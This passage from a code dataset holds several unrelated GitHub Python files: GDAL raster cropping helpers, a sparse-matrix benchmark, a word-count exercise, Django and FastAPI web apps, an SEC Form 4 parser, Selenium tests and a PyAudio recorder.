shapefile\n\tParameters\n\t----------\n\tdrivername:  String\n\t\tOgr driver name to handle the file e.g. ESRI_Shapefile or GPKG\n\t\t\n\tshp_in : file or string\n\t\tFile, directory, or filename to read.\n\n\tshowtime :  bool\n\t\tIf True, prints the time this function took to run.\n\t\tIf False, prints nothing.\n\t\n\tReturns\n\t-------\n\tDictionary object:  'attributes' and 'number of features'\t\t\n\t\"\"\"\n\tif showtime:\n\t\tstart_time = time.time()\n\tattrs=[]\n\tDict={}\n\tshpDriver = ogr.GetDriverByName(drivername)\n\tsource_ds = ogr.Open(shp_in)  # open the resource\n\tlayer = source_ds.GetLayer()\n\tfeatureCount = layer.GetFeatureCount()\n\tlayerDefinition = layer.GetLayerDefn()\n\taccum=0\t\n\tfor i in range(layerDefinition.GetFieldCount()):\n\t\ttemp=[]\n\t\ttemp.append(accum)\n\t\ttemp.append(layerDefinition.GetFieldDefn(i).GetName())\n\t\taccum+=1\n\t\tattrs.append(temp)\n\tDict['attributes']=attrs\n\tDict['number of features']=featureCount\n\tsource_ds=None\n\tif showtime:\n\t\tprint(\"Get attributes from file took --- %s seconds ---\" % (time.time() - start_time))\n\t\tprint()#print a new line\n\treturn(Dict)\n\ndef hirescrop(inputraster,outputraster,shpin,targetprj,geometry,meters,showtime):\n\t\"\"\"\t\n\tPerform a hi-resolution crop of a raster, using a shapefile geometry. Then resmaple the raster to 1 unit (e.g. 1m if equal area)\n\tParameters\n\t----------\n\tinputraster:  Geotiff\n\t\tThe original rater to crop\n\n\toutputraster:  Geotiff\n\t\tThe output croped geotiff\n\t\t\n\tshp_in : file or string\n\t\tFile, directory, or filename to read to use as a cutline for gdal warp.\n\n\ttargetprj: The spatial reference to use for the output raster (e.g. wgs84)\n\t\te.g. layer.GetSpatialRef()\n\n\tgeometry: The geomtery of the polygon to use for cropping\n\t\te.g. geometry = feature.GetGeometryRef() \n\t\n\tmeters: Real or double\n\t\tA value representing how high the resmapling resolution should be e.g 1.0=1 meter\n\t\n\tshowtime :  bool\n\t\tIf True, prints the time this function took to run.\n\t\tIf False, prints nothing.\n\t\n\tReturns\n\t-------\n\twrites out a cropped raster\t\t\n\t\"\"\"\n\tif showtime:\n\t\tstart_time = time.time()\n\t#create two laters in memory \n\t(minXl, maxXl, minYl, maxYl) = geometry.GetEnvelope()\n\ttemp_raster = '/vsimem/temp_raster.tif'#write to memory\n\ttemp_raster2 = '/vsimem/temp_raster2.tif'#write to memory\n\tds = gdal.Open(inputraster)\n\tgeotransform = ds.GetGeoTransform()\t\n\tx_min, xres, xskew, y_max, yskew, yres = geotransform\n\tx_max = x_min + (ds.RasterXSize * xres)\n\ty_min = y_max + (ds.RasterYSize * yres)\n\tx_res = ds.RasterXSize\n\ty_res = ds.RasterYSize\n\tpixel_width = xres\t\n\ttemp_buffer = max(geotransform[5], abs(geotransform[5]))\n\tprj = ds.GetProjection()\n\tsourceprj = osr.SpatialReference(wkt=prj)\n\tds = None\n\ttransform = osr.CoordinateTransformation(targetprj, sourceprj)\n\t# get extent of target layer in source projection\n\tminX, maxY = transform.TransformPoint(minXl, maxYl)[0:2]\n\tmaxX, minY = transform.TransformPoint(maxXl, minYl)[0:2]\n\t# use gdal.translate to clip the raster + add a small buffer to ensure that we return overlapping areas\n\tout_ds = gdal.Translate(temp_raster,inputraster,projWin=[minX - temp_buffer, maxY + temp_buffer,maxX + temp_buffer,minY - temp_buffer])\n\tout_ds = None\n\t#resample down to a single unit (e..g meters)\n\tout_ds = gdal.Translate(temp_raster2, temp_raster,format='GTiff', xRes=meters, yRes=meters)\n\tout_ds = None  # release resources\n\t# now apply the new projection\n\tout_ds = gdal.Warp(temp_raster, temp_raster2, dstSRS=targetprj,cutlineDSName=shpin)\t\n\tout_ds = None\n\t##reclip and add a small 5% buffer around the shapefile\n\tx_buf=abs(maxXl-minXl)*0.05\n\ty_buf=abs(maxYl-minYl)*0.05\t\n\tout_ds = gdal.Translate(outputraster,temp_raster,projWin=[minXl-x_buf, maxYl+x_buf, maxXl+y_buf, minYl-y_buf])  \t\n\tout_ds = None\n\tif showtime:\n\t\tprint(\"Hi-res cropping took --- %s seconds ---\" % (time.time() - start_time))\n\t\tprint()#print a new line\n\ndef create_temp_poly(temp_outShapefile,targetprj,geometry):\n\t\"\"\"\t\n\tPerform a hi-resolution crop of a raster, using a shapefile geometry. Then resmaple the raster to 1 unit (e.g. 1m if equal area)\n\tParameters\n\t----------\n\ttemp_outShapefile:  filename\n\t\ta temporary shapefile name to write to\n\n\ttargetprj: The spatial reference to use for the output raster (e.g. wgs84)\n\t\te.g. layer.GetSpatialRef()\n\n\tgeometry: The geomtery of the polygon to use for cropping\n\t\te.g. geometry = feature.GetGeometryRef() \n\t\t\n\tReturns:\n\t-------\n\twrites out a temporay shapefile\t\t\n\t\"\"\"\n\t\n\toutDriver = ogr.GetDriverByName(\"ESRI Shapefile\")\n\toutDataSource = outDriver.CreateDataSource(temp_outShapefile)\n\toutLayer = outDataSource.CreateLayer(\"outline\", targetprj,geom_type=ogr.wkbPolygon)\n\t# Add an ID field\n\tidField = ogr.FieldDefn(\"id\", ogr.OFTInteger)\n\toutLayer.CreateField(idField)\n\tfeatureDefn = outLayer.GetLayerDefn()\n\toutfeature = ogr.Feature(featureDefn)\n\toutfeature.SetGeometry(geometry)\n\toutfeature.SetField(\"id\", 1)\n\toutLayer.CreateFeature(outfeature)\n\t# Close DataSource\n\toutDataSource.Destroy()","repo_name":"Marc-Pienaar/Raster-to-Polygon-resampling","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":9371,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"6971322082","text":"import numpy as np\nimport scipy.sparse as ss\nimport os\nimport gc\nimport pandas as pd\nfrom fastprogress import master_bar, progress_bar\n\n# Relative imports\nfrom .mtx import *\nfrom .mtx_stats import *\nfrom .benchmark_cpp import *\n\nREPS=32\nBURN_ITERS=32\n\n\ndef sgk_op_runtime(A, batch_size, reps=None, burn_iters=None):\n    \"\"\"\n    Given the sparse matrix A and dense matrix B return the runtime of the \n    sgk code (cpp code binded in python)\n    \"\"\"\n    if reps is None: reps = REPS\n    if burn_iters is None: burn_iters = BURN_ITERS\n    \n    m, k = A.shape\n    n = batch_size\n    values, row_indices, row_offsets, column_indices = dense_to_sparse(A)\n    nonzeros = values.size\n    B = np.random.randn(k, batch_size)\n    times = []\n    for _ in range(burn_iters):\n        sgk_custom_row_order(m, n, k, nonzeros, values, row_indices,\n              row_offsets, column_indices, B.flatten())\n    for _ in range(reps):\n        times.append(sgk_custom_row_order(m, n, k, nonzeros, values, row_indices,\n                    row_offsets, column_indices, B.flatten()))\n    return np.median(times)*1e-6\n\n\ndef get_batch_size(path):\n    \"\"\"\n    given the path to the batchsize file, return a dictionary with key as the \n    layer name and value as the corresponding batchsize\n    \"\"\"\n    result = {}\n    with open(path, 'r') as f:\n        content = f.readlines()\n        content = [i.strip() for i in content]\n        for i in content:\n            layer_name, batch_size  = i.split(\",\")\n            result[layer_name] = int(batch_size)\n    return result\n    \n    \ndef get_all_subdirs(root_path):\n    pruning_methods = os.listdir(root_path)\n    all_dirs = {}\n    for method in pruning_methods:\n        method_dir = os.path.join(root_path, method)\n        sparsities = os.listdir(method_dir)\n        for sparsity in sparsities:\n            sparsity_path = os.path.join(method_dir, sparsity)\n            all_dirs[(method, float(sparsity))] = sparsity_path\n    return all_dirs\n\n\ndef resnet_exp(root_path, batch_size = 32):\n    \"\"\"\n    Given the path to the resnet matrix directory (path to rn50), return a dictionary containing the\n    pruned weight matrix layer name as well as the corresponding run time\n\n    EG: return {botleneck_1_xxx: 3.2}\n    \"\"\"\n\n    resnet_time_dic = []\n    mb = master_bar(list(get_all_subdirs(root_path).items())[2:])\n    \n    def process_subdir(subdir_path, k):\n        mtx_files = os.listdir(subdir_path)\n        batch_size_dic = get_batch_size(f'{root_path}/../rn50_batchsizes.txt')\n        result = []\n        for mtx_file in progress_bar(mtx_files, parent=mb):\n            mb.child.comment = f'Processing {mtx_file}'\n            \n            mtx_file_path = os.path.join(subdir_path, mtx_file)\n            mtx_name = mtx_file.split(\".\")[0]\n            \n            A_pattern = read_pattern(mtx_file_path)\n            #A_dense = pattern_to_dense(A_pattern)\n            B_batch_size = batch_size_dic[mtx_name]\n            \n            _A_dense = get_mtx(mtx_file_path)\n            \n            #print(mtx_file_path)\n            #print(any([any(A_dense[i] == _A_dense[i]) for i in range(len(A_dense))] + [len(A_dense) == len(_A_dense)]))\n            \n            cur_runtime = sgk_op_runtime(_A_dense, B_batch_size)\n            \n            run_result = pattern_stats(A_pattern)\n            run_result[\"time\"] = cur_runtime\n            run_result[\"name\"] = k[0]\n            run_result[\"sparsity\"] = k[1]\n            result.append(run_result)\n            \n            gc.collect()\n        return result\n\n    for k, v in mb:\n        # k, v example:\n        #  ('extended_magnitude_pruning', 0.96) /mnt/benchmark_cpp/dlmc/rn50/extended_magnitude_pruning/0.96\n        mb.write(f'Processing {v}.')\n        resnet_time_dic += process_subdir(v, k)\n    return resnet_time_dic    \n\ndef transformer_exp(root_path):\n    \"\"\"\n    Given root path of transformer matrices, return the runtime of each group\n    \"\"\"\n    def cat_by_layers(subdir_path):\n        files = os.listdir(subdir_path)\n        result = {}\n        for file in files:\n            _, functionality, _, layer_number = file.split(\"_\")[:4]\n            k = (functionality, layer_number)\n            if (k not in result):\n                result[k] = [file]\n            else:\n                result[k].append(file)\n        return result\n    \n    def layer_timing_logic():\n        \"\"\"\n        TODO\n        \"\"\"\n        return False\n\n    all_dirs = get_all_subdirs(root_path)\n    result = {}\n    # for subdir in all_dirs:\n            \n\ndef rn50_result_to_csv(result, fname):\n  \"\"\"\n  Given the result (by calling resnet_exp function), save it\n  into a csv, maching the table here:\n  https://github.com/jimgao1/spmm-benchmarks/blob/master/aspt/measurements.ipynb\n  \"\"\"\n  def dir_helper(method, accuracy, mtx_runtime):\n    result = []\n    for mtx_name, mtx_runtime in mtx_runtime.items():\n      dir_name = \"dlmc/rn50/{}/{}/{}.mtx\".format(method, accuracy, mtx_name)\n      result.append((dir_name, mtx_runtime))\n    return result \n\n  acc = []\n  for k, v in result.items():\n    method, accuracy = k\n    mtx_runtime = v\n    tmp = dir_helper(method, accuracy, mtx_runtime)\n    acc.extend(tmp)\n  df = pd.DataFrame.from_records(acc, columns=[\"filename\", \"time_ms\"])\n  df.to_csv(\"{}.csv\".format(fname))\n\n\n\n# if __name__ == \"__main__\":\n#     result = resnet_exp(\"/mnt/benchmark_cpp/dlmc/rn50\")\n#     for k, v in result.items():\n#         print(k, v)\n#         break\n","repo_name":"LucasWilkinson/CSC2222-Reproducibility","sub_path":"src/benchmark.py","file_name":"benchmark.py","file_ext":"py","file_size_in_byte":5411,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"23244988186","text":"from operator import itemgetter\nfrom re import split\n\ninfile = open(\"C:\\\\Users\\\\Filippo Longhi\\\\OneDrive - Politecnico di Torino\\\\Politecnico\\\\Algoritmi e Programmazione \"\n                 \"ad Oggetti\\\\Laboratori\\\\APOpersonal\\\\lab1\\\\data\\\\promessi_sposi.txt\", \"r\")\n\nparole = infile.read()\ninfile.close()\nparole = split(\"[^a-zA-Z]\", parole)\n\n#In alternativa:\n#for i in range(len(parole)):\n#    if not parole[i].isalpha():\n#        parole = parole[:i] + \" \" + parole[i+1:]\n#parole = parole.split()\n\n#in alternativa:\n#parole = \"\"\n#c = infile.read(1)\n#while c!= \"\":\n#   if c.isalpha():\n#       parole += c\n#   else:\n#       parole += \" \"\n#   c = infile.read(1)\n#infile.close()\n#parole = parole.split()\n\nvalori={}\nfor p in parole:\n    if p in valori:\n        valori[p] += 1\n    else:\n        valori[p] = 1\n\n#in alternativa:\n#for p in parole:\n#   valori[p] = valori.get(p,0)+1\n\nrisultato = sorted(valori.items(), key=itemgetter(1))[:-100:-1]\nprint(risultato)","repo_name":"filippoLonghi/APOpersonal","sub_path":"lab1/Esercizio 7.py","file_name":"Esercizio 7.py","file_ext":"py","file_size_in_byte":952,"program_lang":"python","lang":"it","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"31915840198","text":"# how to calculate LCM?\ndef lcm_calc(a,b,c,d):\n    abcd=a*b*c*d\n    z=abcd+1\n    initial=[x for x in range(1,z)]\n    lcm_list=[x for x in initial if x%a==0 and x%b==0 and x%c==0 and x%d==0]\n    lcm=min(lcm_list)\n    return lcm\nprint(lcm_calc(25,34,78,90))\n\n# method 2\ndef lcm(x,y):\n\tif x>y:\n\t\tgreater=x\n\telse:\n\t\tgreater=y\n\twhile True:\n\t\tif greater%x==0 and greater%y==0:\n\t\t\tlcm=greater\n\t\t\tbreak\n\t\tgreater+=1\n\treturn lcm\n\n# how to calculate GCD?\nimport math\nprint(math.gcd(23,78))","repo_name":"ahammadshawki8/Fun-Coding","sub_path":"LCM & GCD.py","file_name":"LCM & GCD.py","file_ext":"py","file_size_in_byte":479,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"74092301310","text":"from django.shortcuts import render, redirect\nfrom django.views import View\nfrom account.models import Account\nfrom friend.models import FriendshipRequest, Friend\nimport random\nfrom django.db.models import Q\n\n\ndef get_friends_row(all_friends):\n    random.shuffle(all_friends)\n    if len(all_friends) <= 3:\n        friends_row = [all_friends[-3:]]\n    else:\n        friends_row_one = all_friends[-3:]\n        friends_row_two = all_friends[:3]\n        friends_row = [friends_row_one, friends_row_two]\n    return friends_row\n\n\nclass MainPage(View):\n    def get(self, request):\n        if request.user.is_authenticated:\n            return redirect('account', pk=request.user.pk)\n        return redirect('login')\n\n\nclass MainView(View):\n    def get(self, request, pk):\n        if request.user.is_authenticated:\n            main_user = Account.objects.select_related().get(pk=request.user.pk)\n            if int(request.user.pk) != int(pk):\n                user = Account.objects.select_related().get(pk=pk)\n                try:\n                    friendship_request = FriendshipRequest.objects.get(Q(from_user=main_user, to_user=user)|Q(from_user=user, to_user=main_user))\n                except:\n                    friendship_request = None\n            else:\n                user = main_user\n                friendship_request = None\n            posts = user.posts.all()\n            all_photo = list(user.images.all())[:3]\n            count_photo = user.images.count()\n            user.is_another_user = (int(pk) != int(request.user.pk))\n            user.save()\n            all_friends = Friend.objects.get(who=user).users.all()\n            friends_row = get_friends_row(list(all_friends))\n            count_friends = all_friends.count()\n            context = dict()\n            context['user'] = user\n            context['main_user'] = main_user\n            context['friendship_request'] = friendship_request\n            context['all_photo'] = all_photo\n            context['count_photo'] = count_photo\n            context['all_friends'] = all_friends\n            context['friends_row'] = friends_row\n            context['count_friends'] = count_friends\n            context['posts'] = posts\n            return render(request, 'account/user_account.html', context=context)\n        else:\n            return redirect('login')\n","repo_name":"DimaKalbfleysh/vk2.0","sub_path":"vk2/account/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2322,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"802423093","text":"from fastapi import Depends, FastAPI, HTTPException\nfrom sqlalchemy.orm import Session\n\nfrom . import crud, models, schemas\nfrom .database import SessionLocal, engine\n\nmodels.Base.metadata.create_all(bind=engine)\n\napp = FastAPI()\n\n\n# Dependency\ndef get_db():\n    db = SessionLocal()\n    try:\n        yield db\n    finally:\n        db.close()\n\n# Customers\n@app.post(\"/customers/\", response_model=schemas.Customer)\ndef create_customer(customer: schemas.CustomerCreate, db: Session = Depends(get_db)):\n    db_customer = crud.get_customer_by_email(db, email=customer.email)\n    if db_customer:\n        raise HTTPException(status_code=400, detail=\"Email already registered\")\n    return crud.create_customer(db=db, customer=customer)\n\n\n@app.get(\"/customers/\", response_model=list[schemas.Customer])\ndef read_customers(skip: int = 0, limit: int = 100, db: Session = Depends(get_db)):\n    customers = crud.get_customers(db, skip=skip, limit=limit)\n    return customers\n\n\n@app.get(\"/customer/{customer_id}\", response_model=schemas.Customer)\ndef read_customer(customer_id: int, db: Session = Depends(get_db)):\n    db_customer = crud.get_customer(db, customer_id=customer_id)\n    if db_customer is None:\n        raise HTTPException(status_code=404, detail=\"Customer not found\")\n    return db_customer\n\n@app.delete(\"/customer/{customer_id}\", response_model=schemas.Customer)\ndef delete_customer(customer_id: int, db: Session = Depends(get_db)):\n    return crud.delete_customer(db=db, customer_id=customer_id)\n\n# Cars\n@app.post(\"/cars/\", response_model=schemas.Car)\ndef create_car(car: schemas.CarCreate, db: Session = Depends(get_db)):\n    db_car = crud.get_car_by_license_plate(db, license_plate=car.license_plate)\n    if db_car:\n        raise HTTPException(status_code=400, detail=\"License plate already registered\")\n    return crud.create_car(db=db, car=car)\n\n\n@app.get(\"/cars/\", response_model=list[schemas.Car])\ndef read_cars(skip: int = 0, limit: int = 100, db: Session = Depends(get_db)):\n    cars = crud.get_cars(db, skip=skip, limit=limit)\n    return cars\n\n@app.get(\"/car/{car_id}\", response_model=schemas.Car)\ndef read_car(car_id: int, db: Session = Depends(get_db)):\n    db_car = crud.get_car(db, car_id=car_id)\n    if db_car is None:\n        raise HTTPException(status_code=404, detail=\"Car not found\")\n    return db_car\n\n@app.delete(\"/car/{car_id}\", response_model=schemas.Car)\ndef delete_car(car_id: int, db: Session = Depends(get_db)):\n    return crud.delete_car(db=db, car_id=car_id)\n\n# Rents\n@app.get(\"/rents/\", response_model=list[schemas.Rent])\ndef read_rents(skip: int = 0, limit: int = 100, db: Session = Depends(get_db)):\n    rents = crud.get_rents(db, skip=skip, limit=limit)\n    return rents\n\n@app.get(\"/rent/{rent_id}\", response_model=schemas.Rent)\ndef read_rent(rent_id: int, db: Session = Depends(get_db)):\n    rents = crud.get_rens(db=db,  rent_id=rent_id)\n    return rents\n\n@app.post(\"/rent/{customer_id}/{car_id}/\", response_model=schemas.Rent)\ndef create_rent(\n    customer_id: int, car_id: int, rent: schemas.RentCreate, db: Session = Depends(get_db)\n):\n    \n    return crud.create_rent(db=db, rent=rent, customer_id=customer_id, car_id=car_id)\n\n@app.patch(\"/rent/{customer_id}/{car_id}/end\", response_model=schemas.Rent)\ndef end_rent(\n    customer_id: int, car_id: int, driven_km: int, db: Session = Depends(get_db)\n):\n    return crud.end_rent(db=db, driven_km=driven_km, customer_id=customer_id, car_id=car_id)\n\n@app.delete(\"/rent/{rent_id}\", response_model=schemas.Rent)\ndef delete_rent(rent_id: int, db: Session = Depends(get_db)):\n    return crud.delete_rent(db=db, rent_id=rent_id)\n\n# Special\n@app.get(\"/rents/count\", response_model=int)\ndef count_active_rents(db: Session = Depends(get_db)):\n    return crud.count_active_rents(db=db)\n\n@app.get(\"/driven_km/{car_id}\", response_model=int)\ndef count_active_rents(car_id: int, db: Session = Depends(get_db)):\n    db_car = crud.get_car(db, car_id=car_id)\n    if db_car is None:\n        raise HTTPException(status_code=404, detail=\"Car not found\")\n    \n    x = crud.sum_driven_km(db=db, car_id=car_id)\n    if x is None:\n        return 0\n    return x.driven_km\n    ","repo_name":"lukki15/car-rental-fastapi-mysql-docker","sub_path":"api/sql_app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4134,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"10138772948","text":"import datetime as dt\nimport logging\nimport re\nfrom typing import Tuple\n\nfrom lxml import etree\nfrom lxml.etree import Element\nimport pandas as pd\n\nfrom cayce.log import get_logger\n\n\n_LOG = get_logger(__name__, console_level=logging.ERROR)\n\n\ndef _parse_owner(owner_element: Element):\n    owner_name = None\n    is_director = is_officer = istenpercentowner = isother = False\n    for child in owner_element:\n        tag = child.tag.lower()\n        if tag == \"reportingownerid\":\n            for detail in child:\n                if detail.tag.lower() == \"rptownername\":\n                    owner_name = detail.text\n        elif tag == \"reportingownerrelationship\":\n            for relationship in child:\n                relationship_tag = relationship.tag.lower()\n                flag = relationship.text == \"1\"\n                if relationship_tag == \"isdirector\":\n                    is_director = flag\n                elif relationship_tag == \"isofficer\":\n                    is_officer = flag\n                elif relationship_tag == \"istenpercentowner\":\n                    istenpercentowner = flag\n                elif relationship_tag == \"isother\":\n                    isother = flag\n    return owner_name, is_director, is_officer, istenpercentowner, isother\n\n\ndef _parse_transaction(transaction_element: Element):\n    def _get_string(element: Element) -> str:\n        for child in element:\n            tag = child.tag.lower()\n            if tag == \"value\":\n                return child.text\n        _LOG.info(f\"{element.tag} had no value\")\n        return None\n\n    def _get_float(element: Element) -> float:\n        value = _get_string(element)\n        return float(value) if value is not None else None\n\n    for child in transaction_element:\n        tag = child.tag.lower()\n        if tag == \"transactiondate\":\n            transaction_date = _get_string(child)\n            transaction_date = dt.datetime.strptime(transaction_date, \"%Y-%m-%d\").date()\n        elif tag == \"transactionamounts\":\n            for elem in child:\n                attribute_tag = elem.tag.lower()\n                if attribute_tag == \"transactionshares\":\n                    transaction_shares = _get_float(elem)\n                elif attribute_tag == \"transactionpricepershare\":\n                    price = _get_float(elem)\n                elif attribute_tag == \"transactionacquireddisposedcode\":\n                    acquired_disposed = _get_string(elem)\n        elif tag == \"posttransactionamounts\":\n            for elem in child:\n                if elem.tag.lower() == \"sharesownedfollowingtransaction\":\n                    post_transaction_shares = _get_float(elem)\n\n    trade_direction = 1 if acquired_disposed == \"A\" else -1\n    return (\n        transaction_date,\n        transaction_shares * trade_direction,\n        price,\n        post_transaction_shares,\n    )\n\n\ndef parse(file_name: str) -> pd.DataFrame:\n    parser = etree.XMLParser(recover=True)\n    doc = etree.parse(file_name, parser)\n\n    transactions = []\n    for child in doc.getroot():\n        tag = child.tag.lower()\n        if tag == \"periodofreport\":\n            report_date = dt.datetime.strptime(child.text, \"%Y-%m-%d\").date()\n        elif tag == \"issuer\":\n            for elem in child:\n                if elem.tag.lower() == \"issuertradingsymbol\":\n                    ticker = elem.text\n        elif tag == \"reportingowner\":\n            owner_details = _parse_owner(child)\n        elif tag == \"nonderivativetable\":\n            for elem in child:\n                if elem.tag.lower() == \"nonderivativetransaction\":\n                    transactions.append(_parse_transaction(elem))\n\n    form4_df = pd.DataFrame(\n        transactions,\n        columns=[\"transaction_date\", \"shares\", \"price\", \"post_transaction_shares\"],\n    )\n    form4_df[\"report_date\"] = report_date\n    form4_df[\"ticker\"] = ticker\n\n    attribute_columns = [\"owner\", \"director\", \"officer\", \"tenpercentowner\", \"other\"]\n    for attribute, value in zip(attribute_columns, owner_details,):\n        form4_df[attribute] = value\n\n    return form4_df\n","repo_name":"along1x/cayce","sub_path":"cayce/parsers/form4.py","file_name":"form4.py","file_ext":"py","file_size_in_byte":4057,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"22194952138","text":"import socket\nimport time\n\nfrom django.contrib.staticfiles.testing import StaticLiveServerTestCase\nfrom selenium.common.exceptions import WebDriverException\nfrom selenium import webdriver\nfrom selenium.webdriver.common.desired_capabilities import DesiredCapabilities\nfrom selenium.webdriver.common.keys import Keys\n\nMAX_WAIT = 10\n\n\nclass NewVisitorTest(StaticLiveServerTestCase):\n    # Set host to externally accessible web server address\n    host = socket.gethostbyname(socket.gethostname())\n\n    def setUp(self):\n        selenium_hub_url = 'http://hub:4444/wd/hub'\n        self.browser = webdriver.Remote(\n            command_executor=selenium_hub_url,\n            desired_capabilities=DesiredCapabilities.CHROME)\n\n    def tearDown(self):\n        self.browser.quit()\n\n    def wait_for_row_in_list_table(self, row_text):\n        start_time = time.time()\n        while True:\n            try:\n                table = self.browser.find_element_by_id('id_list_table')\n                rows = table.find_elements_by_tag_name('tr')\n                self.assertIn(row_text, [row.text for row in rows])\n                return\n            except (AssertionError, WebDriverException) as e:\n                if time.time() - start_time > MAX_WAIT:\n                    raise e\n                time.sleep(0.5)\n\n    def test_can_start_a_list_for_one_user(self):\n        self.browser.get(self.live_server_url)\n\n        # page title and header\n        self.assertEqual('To-Do list', self.browser.title)\n        header_text = self.browser.find_element_by_tag_name('h1').text\n        self.assertIn('To-Do', header_text)\n\n        # user is invited to enter a to-do item\n        inputbox = self.browser.find_element_by_id('id_new_item')\n        self.assertEqual(\n            inputbox.get_attribute('placeholder'),\n            'Enter a to-do item'\n        )\n\n        # type into a text box\n        inputbox.send_keys('Buy peacock feathers')\n\n        # when user hits enter, the page updates, and now entered item\n        # appears in the list table\n        inputbox.send_keys(Keys.ENTER)\n\n        self.wait_for_row_in_list_table('1: Buy peacock feathers')\n\n        # There is still a text box inviting user to add another item.\n        # she enters one more item\n        inputbox = self.browser.find_element_by_id('id_new_item')\n        inputbox.send_keys('Use peacock feathers to make a fly')\n        inputbox.send_keys(Keys.ENTER)\n\n        # The page updates again, and now shows both items on her list\n        self.wait_for_row_in_list_table('1: Buy peacock feathers')\n        self.wait_for_row_in_list_table('2: Use peacock feathers to make a fly')\n\n        # User wonders whether the site will remember her list. Then she sees\n        # that the site has generated a unique url for her.\n        # User visits that URL - her to-do list is still there.\n\n    def test_multiple_users_can_start_lists_at_different_ruls(self):\n        # Edith starts a new to-do list\n        self.browser.get(self.live_server_url)\n        inputbox = self.browser.find_element_by_id('id_new_item')\n        inputbox.send_keys('Buy peacock feathers')\n        inputbox.send_keys(Keys.ENTER)\n        self.wait_for_row_in_list_table('1: Buy peacock feathers')\n\n        # She notices that her list has a unique URL\n        edith_list_url = self.browser.current_url\n        self.assertRegex(edith_list_url, '/lists/.+')\n\n        # Now a user, Fransis, comes along to the site.\n\n        # # We do a new browser session to make sure that no information\n        # # of Edith's is coming through from cookies etc\n        self.tearDown()\n        self.setUp()\n\n        # Francis visits the home page. There is no sign of Edith's list\n        self.browser.get(self.live_server_url)\n        page_text = self.browser.find_element_by_tag_name('body').text\n        self.assertNotIn('Buy peacock feathers', page_text)\n        self.assertNotIn('make a fly', page_text)\n\n        # Francis starts a new list by entering a new item.\n        # He is less interesting that Edith...\n        inputbox = self.browser.find_element_by_id('id_new_item')\n        inputbox.send_keys('Buy milk')\n        inputbox.send_keys(Keys.ENTER)\n        self.wait_for_row_in_list_table('1: Buy milk')\n\n        # Fransis gets his own unique URL\n        francis_list_url = self.browser.current_url\n        self.assertRegex(francis_list_url, '/lists/.+')\n        self.assertNotEqual(francis_list_url, edith_list_url)\n\n        # Again, there is no trace of Edith's list\n        page_text = self.browser.find_element_by_tag_name('body').text\n        self.assertNotIn('Buy peacock feathers', page_text)\n        self.assertIn('Buy milk', page_text)\n\n        # Satisfied, they both go back to sleep\n","repo_name":"shilgam/ci_tools","sub_path":"app/functional_tests/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":4704,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"20127926550","text":"import pyaudio\r\nimport numpy as np\r\nimport scipy.io.wavfile as wav_io\r\nimport struct\r\nimport matplotlib.pyplot as plt\r\n\r\n\"\"\"\r\n    define parameters of the whole system\r\n\"\"\"\r\nSamplingRate = 44100\r\nChannel = 1\r\nDataFormat = pyaudio.paInt16\r\nChunk = 1024\r\nOutput_file_name = \"hello2.wav\"\r\nData_max_value = 32768\r\nthreshold = 0.3 * Data_max_value\r\n\r\n\"\"\"\r\n    main function\r\n    entrance of the program\r\n    this program is used for model data recording\r\n\"\"\"\r\ndef main():\r\n\r\n    # raw_data is used to store the raw data from pyaudio input voice stream, and shorts is used to store the unpacked voice data (in int16)\r\n    raw_data = []\r\n    shorts = []\r\n    format = \"%dh\"%(Chunk)\r\n    # open audiopy input audio stream\r\n    audio_handler = pyaudio.PyAudio()\r\n    stream = audio_handler.open(format = DataFormat,\r\n                    channels = Channel,\r\n                    rate = SamplingRate,\r\n                    input = True,\r\n                    )\r\n\r\n    print(\"please say a word\")\r\n    # infinite loop\r\n    while True:\r\n        th_data = struct.unpack(format, stream.read(Chunk))\r\n        # if volume of the sound is greater than threshold, the while loop will record it until the it is less than threshold\r\n        if(max(th_data) > threshold):\r\n            print(\"start recording\")\r\n            chunks_remaining = 2\r\n            while(chunks_remaining >= 0):\r\n                raw_data.append(stream.read(Chunk))\r\n                shorts.append(struct.unpack(format, raw_data[len(raw_data) - 1]))\r\n                chunks_remaining -= 1\r\n                if(max(shorts[len(shorts) - 1]) > threshold):\r\n                    chunks_remaining += 2\r\n            # the volume is less than threshold, recording done, break the infinite while loop\r\n            break\r\n    print(\"recording done\")\r\n    # recording done, close the stream\r\n    stream.stop_stream()\r\n    stream.close()\r\n    audio_handler.terminate()\r\n\r\n    wave = np.array(shorts, dtype = np.int16)\r\n    wave = wave.flatten()\r\n\r\n    # write the sound data into wav file\r\n    wav_io.write(Output_file_name, SamplingRate, wave)\r\n\r\n    print(\"done\")\r\n\r\nif __name__ == \"__main__\":\r\n    main()\r\n","repo_name":"MinghaoCheng/MSC_Work","sub_path":"DSP/Assignment1/part2/Part2_model_recorder.py","file_name":"Part2_model_recorder.py","file_ext":"py","file_size_in_byte":2144,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
